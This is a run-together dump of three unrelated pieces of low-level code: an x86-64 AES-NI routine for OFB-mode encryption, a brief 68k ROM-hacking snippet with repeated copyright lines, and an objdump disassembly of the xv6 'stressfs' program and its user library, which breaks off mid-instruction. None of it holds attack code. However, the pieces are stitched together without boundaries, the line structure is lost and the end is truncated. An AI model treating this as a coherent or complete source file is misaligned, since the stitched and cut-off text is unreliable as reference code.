EncryptOFB128_RIJ128_AES_NI,PUBLIC %assign LOCAL_FRAME 0 USES_GPR rsi,rdi USES_XMM COMP_ABI 6 ;; rdi: pInpBlk: DWORD, ; input blocks address ;; rsi: pOutBlk: DWORD, ; output blocks address ;; rdx: nr: DWORD, ; number of rounds ;; rcx pKey: DWORD ; key material address ;; r8d cfbBlks: DWORD ; length of stream in bytes ;; r9 pIV: BYTE ; pointer to the IV %xdefine SC (4) %assign BLKS_PER_LOOP (4) movdqu xmm0, oword [r9] ; get IV movsxd r8, r8d ; length of stream ; get actual address of key material: pRKeys += (nr-9) * SC lea rax,[rdx*4] lea rax, [rcx+rax*4-9*(SC)*4] ; AES-128 round keys ;; ;; processing ;; .blks_loop: pxor xmm0, oword [rcx] ; whitening movdqu xmm1, oword [rdi] ; input blocks cmp rdx,12 ; switch according to number of rounds jl .key_128_s jz .key_192_s ; do encryption .key_256_s: aesenc xmm0, oword [rax-4*4*SC] aesenc xmm0, oword [rax-3*4*SC] .key_192_s: aesenc xmm0, oword [rax-2*4*SC] aesenc xmm0, oword [rax-1*4*SC] .key_128_s: aesenc xmm0, oword [rax+0*4*SC] aesenc xmm0, oword [rax+1*4*SC] aesenc xmm0, oword [rax+2*4*SC] aesenc xmm0, oword [rax+3*4*SC] aesenc xmm0, oword [rax+4*4*SC] aesenc xmm0, oword [rax+5*4*SC] aesenc xmm0, oword [rax+6*4*SC] aesenc xmm0, oword [rax+7*4*SC] aesenc xmm0, oword [rax+8*4*SC] aesenclast xmm0, oword [rax+9*4*SC] pxor xmm1, xmm0 ; xor src movdqu oword [rsi],xmm1 ;and store into the dst add rdi, 16 add rsi, 16 sub r8, 16 jg .blks_loop movdqu oword [r9], xmm0 ; update IV before return REST_XMM REST_GPR ret ENDFUNC EncryptOFB128_RIJ128_AES_NI %endif %endif ;; _AES_NI_ENABLING_
copyright zengfr site:http://github.com/zengfr/romhack 006CB0 tst.b ($4d7,A5) 006CB4 bne $6d4a 007302 tst.b ($4d7,A5) [base+4CD] 007306 bne $7392 0073DC tst.b ($4d7,A5) 0073E0 bne $7474 copyright zengfr site:http://github.com/zengfr/romhack
_stressfs: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "fs.h" #include "fcntl.h" int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 57 push %edi e: 56 push %esi f: 53 push %ebx 10: 51 push %ecx 11: 81 ec 20 02 00 00 sub $0x220,%esp int fd, i; char path[] = "stressfs0"; 17: be 2b 07 00 00 mov $0x72b,%esi 1c: b9 0a 00 00 00 mov $0xa,%ecx 21: 8d bd de fd ff ff lea -0x222(%ebp),%edi 27: f3 a4 rep movsb %ds:(%esi),%es:(%edi) char data[512]; printf(1, "stressfs starting\n"); 29: 68 08 07 00 00 push $0x708 2e: 6a 01 push $0x1 30: e8 c7 03 00 00 call 3fc <printf> memset(data, 'a', sizeof(data)); 35: 83 c4 0c add $0xc,%esp 38: 68 00 02 00 00 push $0x200 3d: 6a 61 push $0x61 3f: 8d b5 e8 fd ff ff lea -0x218(%ebp),%esi 45: 56 push %esi 46: e8 41 01 00 00 call 18c <memset> 4b: 83 c4 10 add $0x10,%esp for(i = 0; i < 4; i++) 4e: 31 db xor %ebx,%ebx if(fork() > 0) 50: e8 64 02 00 00 call 2b9 <fork> 55: 85 c0 test %eax,%eax 57: 0f 8f a9 00 00 00 jg 106 <main+0x106> for(i = 0; i < 4; i++) 5d: 43 inc %ebx 5e: 83 fb 04 cmp $0x4,%ebx 61: 75 ed jne 50 <main+0x50> 63: bf 04 00 00 00 mov $0x4,%edi break; printf(1, "write %d\n", i); 68: 50 push %eax 69: 53 push %ebx 6a: 68 1b 07 00 00 push $0x71b 6f: 6a 01 push $0x1 71: e8 86 03 00 00 call 3fc <printf> path[8] += i; 76: 89 f8 mov %edi,%eax 78: 00 85 e6 fd ff ff add %al,-0x21a(%ebp) fd = open(path, O_CREATE | O_RDWR); 7e: 58 pop %eax 7f: 5a pop %edx 80: 68 02 02 00 00 push $0x202 85: 8d 85 de fd ff ff lea -0x222(%ebp),%eax 8b: 50 push %eax 8c: e8 70 02 00 00 call 301 <open> 91: 89 c7 mov %eax,%edi 93: 83 c4 10 add $0x10,%esp 96: bb 14 00 00 00 mov $0x14,%ebx 9b: 90 nop for(i = 0; i < 20; i++) // printf(fd, "%d\n", i); write(fd, data, sizeof(data)); 9c: 50 push %eax 9d: 68 00 02 00 00 push $0x200 a2: 56 push %esi a3: 57 push %edi a4: e8 38 02 00 00 call 2e1 <write> for(i = 0; i < 20; i++) a9: 83 c4 10 add $0x10,%esp ac: 4b dec %ebx ad: 75 ed jne 9c <main+0x9c> close(fd); af: 83 ec 0c sub $0xc,%esp b2: 57 push %edi b3: e8 31 02 00 00 call 2e9 <close> printf(1, "read\n"); b8: 5a pop %edx b9: 59 pop %ecx ba: 68 25 07 00 00 push $0x725 bf: 6a 01 push $0x1 c1: e8 36 03 00 00 call 3fc <printf> fd = open(path, O_RDONLY); c6: 5b pop %ebx c7: 5f pop %edi c8: 6a 00 push $0x0 ca: 8d 85 de fd ff ff lea -0x222(%ebp),%eax d0: 50 push %eax d1: e8 2b 02 00 00 call 301 <open> d6: 89 c7 mov %eax,%edi d8: 83 c4 10 add $0x10,%esp db: bb 14 00 00 00 mov $0x14,%ebx for (i = 0; i < 20; i++) read(fd, data, sizeof(data)); e0: 50 push %eax e1: 68 00 02 00 00 push $0x200 e6: 56 push %esi e7: 57 push %edi e8: e8 ec 01 00 00 call 2d9 <read> for (i = 0; i < 20; i++) ed: 83 c4 10 add $0x10,%esp f0: 4b dec %ebx f1: 75 ed jne e0 <main+0xe0> close(fd); f3: 83 ec 0c sub $0xc,%esp f6: 57 push %edi f7: e8 ed 01 00 00 call 2e9 <close> wait(); fc: e8 c8 01 00 00 call 2c9 <wait> exit(); 101: e8 bb 01 00 00 call 2c1 <exit> 106: 89 df mov %ebx,%edi 108: e9 5b ff ff ff jmp 68 <main+0x68> 10d: 66 90 xchg %ax,%ax 10f: 90 nop 00000110 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 110: 55 push %ebp 111: 89 e5 mov %esp,%ebp 113: 53 push %ebx 114: 8b 4d 08 mov 0x8(%ebp),%ecx 117: 8b 5d 0c mov 0xc(%ebp),%ebx char *os; os = s; while((*s++ = *t++) != 0) 11a: 31 c0 xor %eax,%eax 11c: 8a 14 03 mov (%ebx,%eax,1),%dl 11f: 88 14 01 mov %dl,(%ecx,%eax,1) 122: 40 inc %eax 123: 84 d2 test %dl,%dl 125: 75 f5 jne 11c <strcpy+0xc> ; return os; } 127: 89 c8 mov %ecx,%eax 129: 5b pop %ebx 12a: 5d pop %ebp 12b: c3 ret 0000012c <strcmp>: int strcmp(const char *p, const char *q) { 12c: 55 push %ebp 12d: 89 e5 mov %esp,%ebp 12f: 53 push %ebx 130: 8b 5d 08 mov 0x8(%ebp),%ebx 133: 8b 55 0c mov 0xc(%ebp),%edx while(*p && *p == *q) 136: 0f b6 03 movzbl (%ebx),%eax 139: 0f b6 0a movzbl (%edx),%ecx 13c: 84 c0 test %al,%al 13e: 75 10 jne 150 <strcmp+0x24> 140: eb 1a jmp 15c <strcmp+0x30> 142: 66 90 xchg %ax,%ax p++, q++; 144: 43 inc %ebx 145: 42 inc %edx while(*p && *p == *q) 146: 0f b6 03 movzbl (%ebx),%eax 149: 0f b6 0a movzbl (%edx),%ecx 14c: 84 c0 test %al,%al 14e: 74 0c je 15c <strcmp+0x30> 150: 38 c8 cmp %cl,%al 152: 74 f0 je 144 <strcmp+0x18> return (uchar)*p - (uchar)*q; 154: 29 c8 sub %ecx,%eax } 156: 5b pop %ebx 157: 5d pop %ebp 158: c3 ret 159: 8d 76 00 lea 0x0(%esi),%esi 15c: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 15e: 29 c8 sub %ecx,%eax } 160: 5b pop %ebx 161: 5d pop %ebp 162: c3 ret 163: 90 nop 00000164 <strlen>: uint strlen(const char *s) { 164: 55 push %ebp 165: 89 e5 mov %esp,%ebp 167: 8b 55 08 mov 0x8(%ebp),%edx int n; for(n = 0; s[n]; n++) 16a: 80 3a 00 cmpb $0x0,(%edx) 16d: 74 15 je 184 <strlen+0x20> 16f: 31 c0 xor %eax,%eax 171: 8d 76 00 lea 0x0(%esi),%esi 174: 40 inc %eax 175: 89 c1 mov %eax,%ecx 177: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1) 17b: 75 f7 jne 174 <strlen+0x10> ; return n; } 17d: 89 c8 mov %ecx,%eax 17f: 5d pop %ebp 180: c3 ret 181: 8d 76 00 lea 0x0(%esi),%esi for(n = 0; s[n]; n++) 184: 31 c9 xor %ecx,%ecx } 186: 89 c8 mov %ecx,%eax 188: 5d pop %ebp 189: c3 ret 18a: 66 90 xchg %ax,%ax 0000018c <memset>: void* memset(void *dst, int c, uint n) { 18c: 55 push %ebp 18d: 89 e5 mov %esp,%ebp 18f: 57 push %edi } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 190: 8b 7d 08 mov 0x8(%ebp),%edi 193: 8b 4d 10 mov 0x10(%ebp),%ecx 196: 8b 45 0c mov 0xc(%ebp),%eax 199: fc cld 19a: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 19c: 8b 45 08 mov 0x8(%ebp),%eax 19f: 5f pop %edi 1a0: 5d pop %ebp 1a1: c3 ret 1a2: 66 90 xchg %ax,%ax 000001a4 <strchr>: char* strchr(const char *s, char c) { 1a4: 55 push %ebp 1a5: 89 e5 mov %esp,%ebp 1a7: 8b 45 08 mov 0x8(%ebp),%eax 1aa: 8a 4d 0c mov 0xc(%ebp),%cl for(; *s; s++) 1ad: 8a 10 mov (%eax),%dl 1af: 84 d2 test %dl,%dl 1b1: 75 0c jne 1bf <strchr+0x1b> 1b3: eb 13 jmp 1c8 <strchr+0x24> 1b5: 8d 76 00 lea 0x0(%esi),%esi 1b8: 40 inc %eax 1b9: 8a 10 mov (%eax),%dl 1bb: 84 d2 test %dl,%dl 1bd: 74 09 je 1c8 <strchr+0x24> if(*s == c) 1bf: 38 d1 cmp %dl,%cl 1c1: 75 f5 jne 1b8 <strchr+0x14> return (char*)s; return 0; } 1c3: 5d pop %ebp 1c4: c3 ret 1c5: 8d 76 00 lea 0x0(%esi),%esi return 0; 1c8: 31 c0 xor %eax,%eax } 1ca: 5d pop %ebp 1cb: c3 ret 000001cc <gets>: char* gets(char *buf, int max) { 1cc: 55 push %ebp 1cd: 89 e5 mov %esp,%ebp 1cf: 57 push %edi 1d0: 56 push %esi 1d1: 53 push %ebx 1d2: 83 ec 1c sub $0x1c,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 1d5: 8b 75 08 mov 0x8(%ebp),%esi 1d8: bb 01 00 00 00 mov $0x1,%ebx 1dd: 29 f3 sub %esi,%ebx cc = read(0, &c, 1); 1df: 8d 7d e7 lea -0x19(%ebp),%edi for(i=0; i+1 < max; ){ 1e2: eb 20 jmp 204 <gets+0x38> cc = read(0, &c, 1); 1e4: 50 push %eax 1e5: 6a 01 push $0x1 1e7: 57 push %edi 1e8: 6a 00 push $0x0 1ea: e8 ea 00 00 00 call 2d9 <read> if(cc < 1) 1ef: 83 c4 10 add $0x10,%esp 1f2: 85 c0 test %eax,%eax 1f4: 7e 16 jle 20c <gets+0x40> break; buf[i++] = c; 1f6: 8a 45 e7 mov -0x19(%ebp),%al 1f9: 88 06 mov %al,(%esi) if(c == '\n' || c == '\r') 1fb: 46 inc %esi 1fc: 3c 0a cmp $0xa,%al 1fe: 74 0c je 20c <gets+0x40> 200: 3c 0d cmp $0xd,%al 202: 74 08 je 20c <gets+0x40> for(i=0; i+1 < max; ){ 204: 8d 04 33 lea (%ebx,%esi,1),%eax 207: 39 45 0c cmp %eax,0xc(%ebp) 20a: 7f d8 jg 1e4 <gets+0x18> break; } buf[i] = '\0'; 20c: c6 06 00 movb $0x0,(%esi) return buf; } 20f: 8b 45 08 mov 0x8(%ebp),%eax 212: 8d 65 f4 lea -0xc(%ebp),%esp 215: 5b pop %ebx 216: 5e pop %esi 217: 5f pop %edi 218: 5d pop %ebp 219: c3 ret 21a: 66 90 xchg %ax,%ax 0000021c <stat>: int stat(const char *n, struct stat *st) { 21c: 55 push %ebp 21d: 89 e5 mov %esp,%ebp 21f: 56 push %esi 220: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 221: 83 ec 08 sub $0x8,%esp 224: 6a 00 push $0x0 226: ff 75 08 pushl 0x8(%ebp) 229: e8 d3 00 00 00 call 301 <open> if(fd < 0) 22e: 83 c4 10 add $0x10,%esp 231: 85 c0 test %eax,%eax 233: 78 27 js 25c <stat+0x40> 235: 89 c3 mov %eax,%ebx return -1; r = fstat(fd, st); 237: 83 ec 08 sub $0x8,%esp 23a: ff 75 0c pushl 0xc(%ebp) 23d: 50 push %eax 23e: e8 d6 00 00 00 call 319 <fstat> 243: 89 c6 mov %eax,%esi close(fd); 245: 89 1c 24 mov %ebx,(%esp) 248: e8 9c 00 00 00 call 2e9 <close> return r; 24d: 83 c4 10 add $0x10,%esp } 250: 89 f0 mov %esi,%eax 252: 8d 65 f8 lea -0x8(%ebp),%esp 255: 5b pop %ebx 256: 5e pop %esi 257: 5d pop %ebp 258: c3 ret 259: 8d 76 00 lea 0x0(%esi),%esi return -1; 25c: be ff ff ff ff mov $0xffffffff,%esi 261: eb ed jmp 250 <stat+0x34> 263: 90 nop 00000264 <atoi>: int atoi(const char *s) { 264: 55 push %ebp 265: 89 e5 mov %esp,%ebp 267: 53 push %ebx 268: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 26b: 0f be 01 movsbl (%ecx),%eax 26e: 8d 50 d0 lea -0x30(%eax),%edx 271: 80 fa 09 cmp $0x9,%dl n = 0; 274: ba 00 00 00 00 mov $0x0,%edx while('0' <= *s && *s <= '9') 279: 77 16 ja 291 <atoi+0x2d> 27b: 90 nop n = n*10 + *s++ - '0'; 27c: 41 inc %ecx 27d: 8d 14 92 lea (%edx,%edx,4),%edx 280: 01 d2 add %edx,%edx 282: 8d 54 02 d0 lea -0x30(%edx,%eax,1),%edx while('0' <= *s && *s <= '9') 286: 0f be 01 movsbl (%ecx),%eax 289: 8d 58 d0 lea -0x30(%eax),%ebx 28c: 80 fb 09 cmp $0x9,%bl 28f: 76 eb jbe 27c <atoi+0x18> return n; } 291: 89 d0 mov %edx,%eax 293: 5b pop %ebx 294: 5d pop %ebp 295: c3 ret 296: 66 90 xchg %ax,%ax 00000298 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 298: 55 push %ebp 299: 89 e5 mov %esp,%ebp 29b: 57 push %edi 29c: 56 push %esi 29d: 8b 45 08 mov 0x8(%ebp),%eax 2a0: 8b 75 0c mov 0xc(%ebp),%esi 2a3: 8b 55 10 mov 0x10(%ebp),%edx char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 2a6: 85 d2 test %edx,%edx 2a8: 7e 0b jle 2b5 <memmove+0x1d> 2aa: 01 c2 add %eax,%edx dst = vdst; 2ac: 89 c7 mov %eax,%edi 2ae: 66 90 xchg %ax,%ax *dst++ = *src++; 2b0: a4 movsb %ds:(%esi),%es:(%edi) while(n-- > 0) 2b1: 39 fa cmp %edi,%edx 2b3: 75 fb jne 2b0 <memmove+0x18> return vdst; } 2b5: 5e pop %esi 2b6: 5f pop %edi 2b7: 5d pop %ebp 2b8: c3 ret 000002b9 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 2b9: b8 01 00 00 00 mov $0x1,%eax 2be: cd 40 int $0x40 2c0: c3 ret 000002c1 <exit>: SYSCALL(exit) 2c1: b8 02 00 00 00 mov $0x2,%eax 2c6: cd 40 int $0x40 2c8: c3 ret 000002c9 <wait>: SYSCALL(wait) 2c9: b8 03 00 00 00 mov $0x3,%eax 2ce: cd 40 int $0x40 2d0: c3 ret 000002d1 <pipe>: SYSCALL(pipe) 2d1: b8 04 00 00 00 mov $0x4,%eax 2d6: cd 40 int $0x40 2d8: c3 ret 000002d9 <read>: SYSCALL(read) 2d9: b8 05 00 00 00 mov $0x5,%eax 2de: cd 40 int $0x40 2e0: c3 ret 000002e1 <write>: SYSCALL(write) 2e1: b8 10 00 00 00 mov $0x10,%eax 2e6: cd 40 int $0x40 2e8: c3 ret 000002e9 <close>: SYSCALL(close) 2e9: b8 15 00 00 00 mov $0x15,%eax 2ee: cd 40 int $0x40 2f0: c3 ret 000002f1 <kill>: SYSCALL(kill) 2f1: b8 06 00 00 00 mov $0x6,%eax 2f6: cd 40 int $0x40 2f8: c3 ret 000002f9 <exec>: SYSCALL(exec) 2f9: b8 07 00 00 00 mov $0x7,%eax 2fe: cd 40 int $0x40 300: c3 ret 00000301 <open>: SYSCALL(open) 301: b8 0f 00 00 00 mov $0xf,%eax 306: cd 40 int $0x40 308: c3 ret 00000309 <mknod>: SYSCALL(mknod) 309: b8 11 00 00 00 mov $0x11,%eax 30e: cd 40 int $0x40 310: c3 ret 00000311 <unlink>: SYSCALL(unlink) 311: b8 12 00 00 00 mov $0x12,%eax 316: cd 40 int $0x40 318: c3 ret 00000319 <fstat>: SYSCALL(fstat) 319: b8 08 00 00 00 mov $0x8,%eax 31e: cd 40 int $0x40 320: c3 ret 00000321 <link>: SYSCALL(link) 321: b8 13 00 00 00 mov $0x13,%eax 326: cd 40 int $0x40 328: c3 ret 00000329 <mkdir>: SYSCALL(mkdir) 329: b8 14 00 00 00 mov $0x14,%eax 32e: cd 40 int $0x40 330: c3 ret 00000331 <chdir>: SYSCALL(chdir) 331: b8 09 00 00 00 mov $0x9,%eax 336: cd 40 int $0x40 338: c3 ret 00000339 <dup>: SYSCALL(dup) 339: b8 0a 00 00 00 mov $0xa,%eax 33e: cd 40 int $0x40 340: c3 ret 00000341 <getpid>: SYSCALL(getpid) 341: b8 0b 00 00 00 mov $0xb,%eax 346: cd 40 int $0x40 348: c3 ret 00000349 <sbrk>: SYSCALL(sbrk) 349: b8 0c 00 00 00 mov $0xc,%eax 34e: cd 40 int $0x40 350: c3 ret 00000351 <sleep>: SYSCALL(sleep) 351: b8 0d 00 00 00 mov $0xd,%eax 356: cd 40 int $0x40 358: c3 ret 00000359 <uptime>: SYSCALL(uptime) 359: b8 0e 00 00 00 mov $0xe,%eax 35e: cd 40 int $0x40 360: c3 ret 00000361 <mprotect>: #me SYSCALL(mprotect) 361: b8 16 00 00 00 mov $0x16,%eax 366: cd 40 int $0x40 368: c3 ret 00000369 <munprotect>: SYSCALL(munprotect) 369: b8 17 00 00 00 mov $0x17,%eax 36e: cd 40 int $0x40 370: c3 ret 371: 66 90 xchg %ax,%ax 373: 90 nop 00000374 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 374: 55 push %ebp 375: 89 e5 mov %esp,%ebp 377: 57 push %edi 378: 56 push %esi 379: 53 push %ebx 37a: 83 ec 3c sub $0x3c,%esp 37d: 89 45 bc mov %eax,-0x44(%ebp) 380: 89 4d c4 mov %ecx,-0x3c(%ebp) uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 383: 89 d1 mov %edx,%ecx if(sgn && xx < 0){ 385: 8b 5d 08 mov 0x8(%ebp),%ebx 388: 85 db test %ebx,%ebx 38a: 74 04 je 390 <printint+0x1c> 38c: 85 d2 test %edx,%edx 38e: 78 68 js 3f8 <printint+0x84> neg = 0; 390: c7 45 08 00 00 00 00 movl $0x0,0x8(%ebp) } else { x = xx; } i = 0; 397: 31 ff xor %edi,%edi 399: 8d 75 d7 lea -0x29(%ebp),%esi do{ buf[i++] = digits[x % base]; 39c: 89 c8 mov %ecx,%eax 39e: 31 d2 xor %edx,%edx 3a0: f7 75 c4 divl -0x3c(%ebp) 3a3: 89 fb mov %edi,%ebx 3a5: 8d 7f 01 lea 0x1(%edi),%edi 3a8: 8a 92 3c 07 00 00 mov 0x73c(%edx),%dl 3ae: 88 54 1e 01 mov %dl,0x1(%esi,%ebx,1) }while((x /= base) != 0); 3b2: 89 4d c0 mov %ecx,-0x40(%ebp) 3b5: 89 c1 mov %eax,%ecx 3b7: 8b 45 c4 mov -0x3c(%ebp),%eax 3ba: 3b 45 c0 cmp -0x40(%ebp),%eax 3bd: 76 dd jbe 39c <printint+0x28> if(neg) 3bf: 8b 4d 08 mov 0x8(%ebp),%ecx 3c2: 85 c9 test %ecx,%ecx 3c4: 74 09 je 3cf <printint+0x5b> buf[i++] = '-'; 3c6: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) buf[i++] = digits[x % base]; 3cb: 89 fb mov %edi,%ebx buf[i++] = '-'; 3cd: b2 2d mov $0x2d,%dl while(--i >= 0) 3cf: 8d 5c 1d d7 lea -0x29(%ebp,%ebx,1),%ebx 3d3: 8b 7d bc mov -0x44(%ebp),%edi 3d6: eb 03 jmp 3db <printint+0x67> 3d8: 8a 13 mov (%ebx),%dl 3da: 4b dec %ebx putc(fd, buf[i]); 3db: 88 55 d7 mov %dl,-0x29(%ebp) write(fd, &c, 1); 3de: 50 push %eax 3df: 6a 01 push $0x1 3e1: 56 push %esi 3e2: 57 push %edi 3e3: e8 f9 fe ff ff call 2e1 <write> while(--i >= 0) 3e8: 83 c4 10 add $0x10,%esp 3eb: 39 de cmp %ebx,%esi 3ed: 75 e9 jne 3d8 <printint+0x64> } 3ef: 8d 65 f4 lea -0xc(%ebp),%esp 3f2: 5b pop %ebx 3f3: 5e pop %esi 3f4: 5f pop %edi 3f5: 5d pop %ebp 3f6: c3 ret 3f7: 90 nop x = -xx; 3f8: f7 d9 neg %ecx 3fa: eb 9b jmp 397 <printint+0x23> 000003fc <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 3fc: 55 push %ebp 3fd: 89 e5 mov %esp,%ebp 3ff: 57 push %edi 400: 56 push %esi 401: 53 push %ebx 402: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 405: 8b 75 0c mov 0xc(%ebp),%esi 408: 8a 1e mov (%esi),%bl 40a: 84 db test %bl,%bl 40c: 0f 84 a3 00 00 00 je 4b5 <printf+0xb9> 412: 46 inc %esi ap = (uint*)(void*)&fmt + 1; 413: 8d 45 10 lea 0x10(%ebp),%eax 416: 89 45 d0 mov %eax,-0x30(%ebp) state = 0; 419: 31 d2 xor %edx,%edx write(fd, &c, 1); 41b: 8d 7d e7 lea -0x19(%ebp),%edi 41e: eb 29 jmp 449 <printf+0x4d> 420: 89 55 d4 mov %edx,-0x2c(%ebp) c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 423: 83 f8 25 cmp $0x25,%eax 426: 0f 84 94 00 00 00 je 4c0 <printf+0xc4> state = '%'; } else { putc(fd, c); 42c: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 42f: 50 push %eax 430: 6a 01 push $0x1 432: 57 push %edi 433: ff 75 08 pushl 0x8(%ebp) 436: e8 a6 fe ff ff call 2e1 <write> putc(fd, c); 43b: 83 c4 10 add $0x10,%esp 43e: 8b 55 d4 mov -0x2c(%ebp),%edx for(i = 0; fmt[i]; i++){ 441: 46 inc %esi 442: 8a 5e ff mov -0x1(%esi),%bl 445: 84 db test %bl,%bl 447: 74 6c je 4b5 <printf+0xb9> c = fmt[i] & 0xff; 449: 0f be cb movsbl %bl,%ecx 44c: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 44f: 85 d2 test %edx,%edx 451: 74 cd je 420 <printf+0x24> } } else if(state == '%'){ 453: 83 fa 25 cmp $0x25,%edx 456: 75 e9 jne 441 <printf+0x45> if(c == 'd'){ 458: 83 f8 64 cmp $0x64,%eax 45b: 0f 84 97 00 00 00 je 4f8 <printf+0xfc> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 461: 81 e1 f7 00 00 00 and $0xf7,%ecx 467: 83 f9 70 cmp $0x70,%ecx 46a: 74 60 je 4cc <printf+0xd0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 46c: 83 f8 73 cmp $0x73,%eax 46f: 0f 84 8f 00 00 00 je 504 <printf+0x108> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 475: 83 f8 63 cmp $0x63,%eax 478: 0f 84 d6 00 00 00 je 554 <printf+0x158> putc(fd, *ap); ap++; } else if(c == '%'){ 47e: 83 f8 25 cmp $0x25,%eax 481: 0f 84 c1 00 00 00 je 548 <printf+0x14c> putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 487: c6 45 e7 25 movb $0x25,-0x19(%ebp) write(fd, &c, 1); 48b: 50 push %eax 48c: 6a 01 push $0x1 48e: 57 push %edi 48f: ff 75 08 pushl 0x8(%ebp) 492: e8 4a fe ff ff call 2e1 <write> putc(fd, c); 497: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 49a: 83 c4 0c add $0xc,%esp 49d: 6a 01 push $0x1 49f: 57 push %edi 4a0: ff 75 08 pushl 0x8(%ebp) 4a3: e8 39 fe ff ff call 2e1 <write> putc(fd, c); 4a8: 83 c4 10 add $0x10,%esp } state = 0; 4ab: 31 d2 xor %edx,%edx for(i = 0; fmt[i]; i++){ 4ad: 46 inc %esi 4ae: 8a 5e ff mov -0x1(%esi),%bl 4b1: 84 db test %bl,%bl 4b3: 75 94 jne 449 <printf+0x4d> } } } 4b5: 8d 65 f4 lea -0xc(%ebp),%esp 4b8: 5b pop %ebx 4b9: 5e pop %esi 4ba: 5f pop %edi 4bb: 5d pop %ebp 4bc: c3 ret 4bd: 8d 76 00 lea 0x0(%esi),%esi state = '%'; 4c0: ba 25 00 00 00 mov $0x25,%edx 4c5: e9 77 ff ff ff jmp 441 <printf+0x45> 4ca: 66 90 xchg %ax,%ax printint(fd, *ap, 16, 0); 4cc: 83 ec 0c sub $0xc,%esp 4cf: 6a 00 push $0x0 4d1: b9 10 00 00 00 mov $0x10,%ecx 4d6: 8b 5d d0 mov -0x30(%ebp),%ebx 4d9: 8b 13 mov (%ebx),%edx 4db: 8b 45 08 mov 0x8(%ebp),%eax 4de: e8 91 fe ff ff call 374 <printint> ap++; 4e3: 89 d8 mov %ebx,%eax 4e5: 83 c0 04 add $0x4,%eax 4e8: 89 45 d0 mov %eax,-0x30(%ebp) 4eb: 83 c4 10 add $0x10,%esp state = 0; 4ee: 31 d2 xor %edx,%edx ap++; 4f0: e9 4c ff ff ff jmp 441 <printf+0x45> 4f5: 8d 76 00 lea 0x0(%esi),%esi printint(fd, *ap, 10, 1); 4f8: 83 ec 0c sub $0xc,%esp 4fb: 6a 01 push $0x1 4fd: b9 0a 00 00 00 mov $0xa,%ecx 502: eb d2 jmp 4d6 <printf+0xda> s = (char*)*ap; 504: 8b 45 d0 mov -0x30(%ebp),%eax 507: 8b 18 mov (%eax),%ebx ap++; 509: 83 c0 04 add $0x4,%eax 50c: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) 50f: 85 db test %ebx,%ebx 511: 74 65 je 578 <printf+0x17c> while(*s != 0){ 513: 8a 03 mov (%ebx),%al 515: 84 c0 test %al,%al 517: 74 70 je 589 <printf+0x18d> 519: 89 75 d4 mov %esi,-0x2c(%ebp) 51c: 89 de mov %ebx,%esi 51e: 8b 5d 08 mov 0x8(%ebp),%ebx 521: 8d 76 00 lea 0x0(%esi),%esi putc(fd, *s); 524: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 527: 50 push %eax 528: 6a 01 push $0x1 52a: 57 push %edi 52b: 53 push %ebx 52c: e8 b0 fd ff ff call 2e1 <write> s++; 531: 46 inc %esi while(*s != 0){ 532: 8a 06 mov (%esi),%al 534: 83 c4 10 add $0x10,%esp 537: 84 c0 test %al,%al 539: 75 e9 jne 524 <printf+0x128> 53b: 8b 75 d4 mov -0x2c(%ebp),%esi state = 0; 53e: 31 d2 xor %edx,%edx 540: e9 fc fe ff ff jmp 441 <printf+0x45> 545: 8d 76 00 lea 0x0(%esi),%esi putc(fd, c); 548: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 54b: 52 push %edx 54c: e9 4c ff ff ff jmp 49d <printf+0xa1> 551: 8d 76 00 lea 0x0(%esi),%esi putc(fd, *ap); 554: 8b 5d d0 mov -0x30(%ebp),%ebx 557: 8b 03 mov (%ebx),%eax 559: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 55c: 51 push %ecx 55d: 6a 01 push $0x1 55f: 57 push %edi 560: ff 75 08 pushl 0x8(%ebp) 563: e8 79 fd ff ff call 2e1 <write> ap++; 568: 83 c3 04 add $0x4,%ebx 56b: 89 5d d0 mov %ebx,-0x30(%ebp) 56e: 83 c4 10 add $0x10,%esp state = 0; 571: 31 d2 xor %edx,%edx 573: e9 c9 fe ff ff jmp 441 <printf+0x45> s = "(null)"; 578: bb 35 07 00 00 mov $0x735,%ebx while(*s != 0){ 57d: b0 28 mov $0x28,%al 57f: 89 75 d4 mov %esi,-0x2c(%ebp) 582: 89 de mov %ebx,%esi 584: 8b 5d 08 mov 0x8(%ebp),%ebx 587: eb 9b jmp 524 <printf+0x128> state = 0; 589: 31 d2 xor %edx,%edx 58b: e9 b1 fe ff ff jmp 441 <printf+0x45> 00000590 <free>: static Header base; static Header *freep; void free(void *ap) { 590: 55 push %ebp 591: 89 e5 mov 